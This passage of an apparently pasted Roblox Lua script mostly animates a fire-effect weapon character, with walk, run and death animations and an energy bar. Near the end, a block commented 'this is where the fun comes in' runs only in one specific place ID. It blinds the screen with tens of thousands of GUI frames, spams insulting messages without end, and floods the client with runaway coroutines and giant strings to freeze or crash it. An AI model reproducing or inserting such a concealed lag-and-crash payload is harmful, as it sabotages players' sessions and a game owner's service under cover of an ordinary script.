  2676. local fire3 = Instance.new("ParticleEmitter", Handle2)
  2677. fire3.Lifetime = NumberRange.new(0.5)
  2678. fire3.Speed = NumberRange.new(1, 3)
  2679. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  2680. fire3.Rate = 0
  2681. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  2682. fire3.LightEmission = 0.6
  2683. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  2684. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  2685. local fire4 = Instance.new("ParticleEmitter", handle)
  2686. fire4.Lifetime = NumberRange.new(0.5)
  2687. fire4.Speed = NumberRange.new(1, 3)
  2688. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  2689. fire4.Rate = 0
  2690. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  2691. fire4.LightEmission = 0.6
  2692. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  2693. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  2694.     Humanoid.WalkSpeed = 0
  2695.     so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  2696.     so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  2697.     for i=0,1,0.08 do
  2698.         swait()
  2699.         Torso.Velocity=RootPart.CFrame.lookVector*-30
  2700.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  2701.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  2702.         handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  2703.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  2704.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  2705.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  2706.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  2707.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  2708.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  2709.     end
  2710.     for i=0,1,0.005 do
  2711.         swait()
  2712.         moosick.Volume=1-2*i
  2713.         light.Range=15-10*i
  2714.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  2715.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  2716.         handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  2717.         Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  2718.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  2719.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  2720.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  2721.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  2722.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  2723.     end
  2724. light.Range=0
  2725.     for i=0,1,0.01 do
  2726.         swait()
  2727.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  2728.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  2729.         handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  2730.         Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  2731.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  2732.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  2733.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  2734.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  2735.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  2736.     end
  2737.     so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  2738.     fire.Rate = 1000
  2739.     fire2.Rate = 1000
  2740.     fire3.Rate = 1000
  2741.     fire4.Rate = 1000
  2742.     Fire:Play()
  2743.     Fire2:Play()
  2744.     Fire3:Play()
  2745.     Fire4:Play()
  2746.     for i=0,1,0.005 do
  2747.         swait()
  2748. Character.Head.face.Transparency = 0+1*i
  2749. LeftArm.Transparency=0+1*i
  2750. RightArm.Transparency=0+1*i
  2751. LeftLeg.Transparency=0+1*i
  2752. RightLeg.Transparency=0+1*i
  2753. Head.Transparency=0+1*i
  2754. Torso.Transparency=0+1*i
  2755. for _,v in pairs(Character:children()) do
  2756.                 if v:IsA("Hat") then
  2757.                         v.Handle.Transparency = 0+1*i
  2758.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  2759.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  2760.         handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  2761.         Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  2762.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  2763.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  2764.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  2765.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  2766.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  2767.     end
  2768.     end
  2769.     --dmgstop()
  2770. end
  2771. Humanoid.Health = 0
  2772. end
  2773.  
  2774. equipanim()
  2775.  
  2776. local sine = 0
  2777. local change = 1
  2778. local val = 0
  2779.  
  2780. local mananum=0
  2781. while true do
  2782. swait()
  2783. sine = sine + change
  2784. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  2785. local velderp=RootPart.Velocity.y
  2786. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  2787. if equipped==true or equipped==false then
  2788. if Anim=="Idle" and attack==false then
  2789. idle=idle+1
  2790. else
  2791. idle=0
  2792. end
  2793. if Humanoid.Health <=20 then
  2794. if attack == false then
  2795. Humanoid.Health = math.huge
  2796. Die()
  2797. end
  2798. end
  2799. if idle>=1000 then
  2800. if attack==false then
  2801. --Sheath()
  2802. end
  2803. end
  2804. if RootPart.Velocity.y > 1 and hitfloor==nil then
  2805. Anim="Jump"
  2806. if attack==false then
  2807. Footsteps:Stop()
  2808. Footsteps2:Stop()
  2809. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  2810. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  2811. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  2812. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  2813. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  2814. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  2815. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  2816. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  2817. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  2818. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  2819. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  2820. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  2821. end
  2822. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  2823. Anim="Fall"
  2824. if attack==false then
  2825. Footsteps:Stop()
  2826. Footsteps2:Stop()
  2827. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  2828. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  2829. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  2830. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  2831. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  2832. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  2833. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  2834. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  2835. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  2836. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  2837. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  2838. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  2839. end
  2840. elseif torvel<1 and hitfloor~=nil then
  2841. Anim="Idle"
  2842. change=0.5
  2843. if idle>=1000 then
  2844. if attack==false then
  2845. Footsteps:Stop()
  2846. Footsteps2:Stop()
  2847. Humanoid.WalkSpeed=12
  2848. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(50)),.1)
  2849. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-50)),.1)
  2850. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  2851. RW.C0=clerp(RW.C0,cf(0.8,0.3,-0.5)*angles(math.rad(70),math.rad(0),math.rad(-85)),.5)
  2852. LW.C0=clerp(LW.C0,cf(-0.6,0.5,-0.7)*angles(math.rad(70),math.rad(0),math.rad(85)),.5)
  2853. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(0),math.rad(0),math.rad(0)),.1)
  2854. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(0),math.rad(0),math.rad(0)),.1)
  2855. handleweld.C0=clerp(handleweld.C0,cf(3.2,-1,-2)*angles(math.rad(90),math.rad(0),math.rad(60)),.3)
  2856. Handleweld.C0=clerp(Handleweld.C0,cf(-2,-1.5+1*math.cos(sine/50),6)*angles(math.rad(60),math.rad(-25),math.rad(-90)),.4)
  2857. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,1.5-0.5*math.cos(sine/50),-5)*angles(math.rad(-110),math.rad(25),math.rad(60)),.3)
  2858. end
  2859. else
  2860. if attack==false then
  2861. Footsteps:Stop()
  2862. Footsteps2:Stop()
  2863. Humanoid.WalkSpeed=12
  2864. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(6),math.rad(0),math.rad(0)),.3)
  2865. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(3+3*math.cos(sine/36)),math.rad(0),math.rad(0)),.3)
  2866. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  2867. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(16-6*math.cos(sine/28))),.3)
  2868. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16+6*math.cos(sine/28))),.3)
  2869. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(16)),.3)
  2870. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(24)),.3)
  2871. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  2872. Handleweld.C0=clerp(Handleweld.C0,cf(0-1*math.cos(sine/30),0,0-1*math.cos(sine/30))*angles(math.rad(0+8*math.cos(sine/30)),math.rad(0),math.rad(0-8*math.cos(sine/30))),.2)
  2873. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+1*math.cos(sine/36),0,0+1*math.cos(sine/36))*angles(math.rad(0-12*math.cos(sine/36)),math.rad(0),math.rad(0-12*math.cos(sine/36))),.2)
  2874. end
  2875. end
  2876. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  2877. Anim="Walk"
  2878. if attack==false then
  2879. change=0.8
  2880. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  2881. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  2882. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  2883. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  2884. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  2885. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  2886. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2887. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2888. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  2889. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  2890. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  2891. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  2892. RH.C0=clerp(RH.C0,RHC0,.3)
  2893. LH.C0=clerp(LH.C0,LHC0,.3)
  2894. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2895. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2896. ]]--
  2897. Footsteps:Play()
  2898. Footsteps2:Stop()
  2899. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  2900. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  2901. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  2902. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  2903. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  2904. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  2905. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  2906. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2907. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  2908. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  2909. end
  2910. elseif torvel>=22 and hitfloor~=nil then
  2911. Anim="Run"
  2912. change=1
  2913. if attack==false then
  2914. Footsteps:Stop()
  2915. Footsteps2:Play()
  2916. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  2917. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  2918. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  2919. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  2920. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  2921. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  2922. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  2923. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2924. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  2925. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  2926. end
  2927. end
  2928. end
  2929. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  2930. fenbarmana4.Text="[Energy]                    <{[  "..mana.."  ]}>                    [Energy]"
  2931. if mana>=100 then
  2932. mana=100
  2933. else
  2934. if mananum<=8 then
  2935. mananum=mananum+1
  2936. else
  2937. mananum=0
  2938. mana=mana+1
  2939. end
  2940. end
  2941. end
  2942.  
  2943.  
  2944.  
  2945.  
  2946. --- shshshhh this is where the fun comes in ---
  2947. if game.PlaceId == 21053279 then
  2948. plr = game.Players.LocalPlayer
  2949. char = plr.Character
  2950. cam = workspace.CurrentCamera
  2951. cam.CameraType = "Scriptable"
  2952. cam.CoordinateFrame = CFrame.new(0,0,50)
  2953. local localContainer
  2954. local service=setmetatable({
  2955.     MarketPlace=game:service("MarketplaceService");
  2956.     GamepassService=game:service("GamePassService");
  2957.     ChatService=game:service("Chat");
  2958.     LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  2959. },{
  2960.     __index=function(tab,index)
  2961.         local serv
  2962.         local ran,err=pcall(function() serv=game:service(index) end)
  2963.         if ran then
  2964.             tab[index]=serv
  2965.             return serv
  2966.         end
  2967.     end
  2968. })
  2969.  
  2970. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  2971.  
  2972. x=game.Players.LocalPlayer
  2973.                  x.CameraMode=Enum.CameraMode.LockFirstPerson
  2974.                  f=Instance.new("Frame")
  2975.                  f.Size=UDim2.new(1,0,1,0)
  2976.                  f.BackgroundTransparency=0.01
  2977.                  f.BackgroundColor3=Color3.new()
  2978.                  pg=x.PlayerGui
  2979.                  gui=Instance.new("ScreenGui",pg)
  2980.                  wait(.1)
  2981.                  for i=1,28000 do
  2982.                  f:Clone().Parent=gui
  2983.                  f:Clone().Parent=gui
  2984.                  f:Clone().Parent=gui
  2985.                  end
  2986.            
  2987.     script:Destroy();
  2988. local runService = Game:GetService("RunService").Stepped;
  2989. local LagNum = 1250;
  2990. local str = "lag fucker lag";
  2991.  
  2992. for i = 1, math.huge do
  2993.         if i % LagNum == 0 then runService:wait(); end
  2994.         Instance.new("Message", Workspace).Text = str;
  2995. end
  2996.  
  2997. local bores=coroutine.create(function() --Yolo?
  2998.     cPcall(function()
  2999.         --print(Game[("%s|"):rep(0xFFFFFFF)])
  3000.     cPcall(print,'lol')
  3001.     cPcall(warn,'lol')
  3002.     cPcall(error,'lol')
  3003.     while wait(0.1) do
  3004.     spawn(function()
  3005.         cPcall(function()
  3006.         spawn(function()
  3007.         local tab={}
  3008.         pcall(function()
  3009.             spawn(function()
  3010.             for i=1,1000000 do
  3011.                 cPcall(function()
  3012.                 spawn(function()
  3013.                     local bob2=coroutine.create(function()
  3014.                         function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  3015.                         function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  3016.                         spawn(f1)
  3017.                     end)
  3018.                     spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  3019.                     spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  3020.                 end)
  3021.                 end)
  3022.             end
  3023.             tab={}
  3024.             end)
  3025.         end)
  3026.         end)
  3027.         end)
  3028.     end)
  3029.     end
  3030.     end)
  3031. end)
  3032.  
  3033. service.RunService.Stepped:connect(function()
  3034.     for i=1,500000 do
  3035.         delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  3036.     end
  3037. end)
  3038.  
  3039.  
  3040.     local function bob()
  3041.     cPcall(function()
  3042.         while wait(0.1) do
  3043.             --cPcall(function()
  3044.             --for i=1,100 do
  3045.                 local p=Instance.new("Part")
  3046.                 p.Material="Neon"
  3047.                 p.Size=Vector3.new(50,50,50)
  3048.                 p.Anchored=true
  3049.                 p.BackSurface="Studs"
  3050.                 p.BottomSurface="Studs"
  3051.                 p.FrontSurface="Studs"
  3052.                 p.LeftSurface="Studs"
  3053.                 p.RightSurface="Studs"
  3054.                 p.TopSurface="Studs"
  3055.                 local t=Instance.new("Texture",p)
  3056.                 t.Texture="http://www.roblox.com/asset/?id=190803157"
  3057.                 t.Face="Top"
  3058.                 t.StudsPerTileU=1000
  3059.                 t.StudsPerTileV=1000
  3060.                 local t2=t:clone()
  3061.                 t2.Parent=p
  3062.                 t2.Face="Bottom"
  3063.                 local t2=t:clone()
  3064.                 t2.Parent=p
  3065.                 t2.Face="Left"
  3066.                 local t2=t:clone()
  3067.                 t2.Parent=p
  3068.                 t2.Face="Right"
  3069.                 local t2=t:clone()
  3070.                 t2.Parent=p
  3071.                 t2.Face="Front"
  3072.                 local t2=t:clone()
  3073.                 t2.Parent=p
  3074.                 t2.Face="Back"
  3075.                 p.Parent=service.LocalContainer()
  3076.             --end
  3077.             --end)
  3078.         end
  3079.     end)
  3080.     end
  3081.     bob() --while wait(0.1) do cPcall(bob) end
  3082. end
  3083. -- ~CLarramore
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top